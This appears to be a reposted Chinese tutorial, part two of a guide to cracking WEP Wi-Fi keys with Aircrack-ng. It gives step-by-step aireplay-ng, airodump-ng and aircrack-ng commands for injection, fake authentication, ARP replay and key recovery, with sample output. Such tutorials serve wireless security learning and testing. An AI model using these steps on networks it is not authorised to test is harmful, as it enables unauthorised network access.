Aircrack-ng 简单的WEP加密破解(下)

来源:互联网 发布:python sleep(.1) 编辑:程序博客网 时间:2024/05/16 15:18

2.测试网卡的注入能力

这一步的目的是确保无线网卡在接入点的范围内, 以便可以进行数据包的注入. 输入命令:

aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0  

其中

  • -9表示注入测试
  • -e teddy是无线网络的名称
  • -a 00:14:6C:7E:40:80是接入点的MAC地址
  • ath0是无线接口的名称

会出现:

09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 909:23:35  Trying broadcast probe requests...09:23:35  Injection is working!09:23:37  Found 1 AP 09:23:37  Trying directed probe requests...09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.7309:23:39  30/30: 100%

最后一行很重要, 理想时它应该达到100%或者一个比较高的百分比. 如果这个百分比很低的话, 就说明我们离接入点过远或者过近. 如果它是0的话, 就说明注入并没有进行, 我们就需要使用不同的驱动或者为驱动找到相应的补丁. 参见注入测试.

3.使用airodump-ng收集IVs

这一步的目的是捕捉产生的IVs, 打开另一个控制台, 输入:

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

其中:

  • -c是无线网络的频道
  • –bssid 00:14:6C:7E:40:80是无线接入点的MAC地址.
  • -w后跟文件名的前缀, 该文件会包含IVs
  • ath0是接口名称

注入进行一会以后, 屏幕上会显示:

CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                           BSSID              STATION            PWR  Lost  Packets  Probes                                             00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782  

4.使用aireplay-ng伪装同接入点建立联系

为了使接入点能接收到数据包, 源MAC地址必须和接入点先建立联系. 如果你进行注入时使用的MAC地址没有和接入点建立联系, 那么新的IVs就不能产生, 因为接入点会忽略所有注入的数据包. 这是注入失败最大可能的原因. 要建立联系要么通过已经有联系的客户端, 要么使用伪装的认证.通过伪装建立联系, 输入:

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

其中:

  1. -1表示伪装
  2. 0以秒计时
  3. -e teddy是无线网络名称
  4. -a 00:14:6C:7E:40:80 是接入点的MAC地址
  5. -h 00:0F:B5:88:AC:82 是网卡的MAC地址
  6. ath0 是无线接口名称

成功后这样显示:

18:18:20  Sending Authentication Request18:18:20  Authentication successful18:18:20  Sending Association Request18:18:20  Association successful :-)

或者也有另一种方式:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

其中:
7. 6000 -每6000秒一次重新认证. 这么长的周期可以使得数据包能确保被发送
8. -o 1 - 每次只发送一个数据包
9. -q 10 - 每10秒发送一次保持活动的数据包

成功后像这样:

18:22:32  Sending Authentication Request18:22:32  Authentication successful18:22:32  Sending Association Request18:22:32  Association successful :-)18:22:42  Sending keep-alive packet18:22:52  Sending keep-alive packetand so on.

以下是一个可能的失败的例子:

8:28:02  Sending Authentication Request18:28:02  Authentication successful18:28:02  Sending Association Request18:28:02  Association successful :-)18:28:02  Got a deauthentication packet!18:28:05  Sending Authentication Request18:28:05  Authentication successful18:28:05  Sending Association Request18:28:10  Sending Authentication Request18:28:10  Authentication successful18:28:10  Sending Association Request

注意上面的 “Got a deauthentication packet”和上面连续的不断尝试. 所以没有建立好联系之前不要进行后面的操作.
以下给出一些可能的问题和解决方法:

  1. 一些接入点被设置为只允许和一些特定的MAC地址进行连接. 如果是这种情况, 那么我们就不能进行伪装连接了, 除非我们知道哪些MAC地址被允许连接. 如果你怀疑自己遇到的正是这个问题, 可以在尝试伪装连接的时候使用如下命令, 开启另一个会话, 命令: tcpdump -n -vvv -s0 -e -i | grep -i -E “(RA:|Authentication|ssoc)” 然后查看错误信息.

  2. 在任何时候如果你想确定自己是否已经建立好连接, 使用tcpdump命令. 启动另一个会话, 命令: tcpdump -n -e -s0 -vvv -i ath0. 典型的tcpdump错误信息如下(注意下面的接入点00:14:6c:7e:40:80说明源地址00:0F:B5:88:AC:82没有建立连接):

    11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

5.使用aireplay-ng的ARP模式注入数据包

这一步的目的是使用aireplay-ng监听ARP请求然后再将数据包注入到网络. 选择ARP请求是因为接入点会广播它们并产生新的IV. 所以, 着就达到了我们需要段时间内获得大量IVs的目的.
打开另一个控制台输入命令:

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

这样就会开始监听ARP请求, 如果获得一个, aireplay-ng就会立即进行注入. 如果经过长时间后显还没有获得ARP请求( 即显示:got 0 ARP requests), 参考这篇文章. ARP请求开始被注入时会这样显示:

Saving ARP requests in replay_arp-0321-191525.capYou should also start airodump-ng to capture replies.Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

你可以通过查看有airodump命令的控制台来检验. 数据包的数量应该迅速上升. “#/s”应该是一个比较正常的数字, 通常来讲是300~400个数据包每秒, 当然100和500也有可能.
可能遇到的问题及解决:

  • 如果遇到类似于”Got a deauth/disassoc packet. Is the source mac associated?”这样的提示, 这意味着你已经失去和接入点的连接. 所以我们必须按照前面的方法重新进行连接.

6.用aircrack-ng破解IVs获得密码

这一步的目的是根据前面获得的IVs破解除出密码. 注意, 出于学习目的, 我们最好使用64位的WEP密码, 这样破解得会快很多. 我们就可以使用”-n 64”将密码破解的长度限定在64位. 以下会介绍两种方法 PTW法和FMS/Korek法, 建议都了解一下.注意: PTW法只有在ARP请求和应答下才能奏效, 而且需要用airodump-ng抓包才行(即不能使用”–ivs”选项). 当然对于我们的实验这些都是满足的.打开另一个会话窗口,输入命令:

aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

其中:

  • -b 00:14:6C:7E:40:80 表示接入点地址.
  • output*.cap 表示以output为前缀,以cap为后缀的文件

若使用FMS/Korek法, 打开另一个控制台,输入命令

aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap

其中:

  • -K表示FMS/Korek法
  • -b 00:14:6C:7E:40:80 表示接入点地址
  • output*.cap 表示以output为前缀,以cap为后缀的文件

对于64位的秘钥, 大约需要250,000个IVs来破解. 128位则需要1,500,000. 如果使用PTW法, 64位需要20,000, 128位需要40,000~85,000个. 当然以上都是大致范围, 实际情况变数很大. 成功时应该像这样:

                                              Aircrack-ng 0.9                              [00:03:06] Tested 674449 keys (got 96610 IVs) KB    depth   byte(vote)  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)   1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)   2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)   3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)                        KEY FOUND! [ 12:34:56:78:90 ]       Probability: 100%
0 0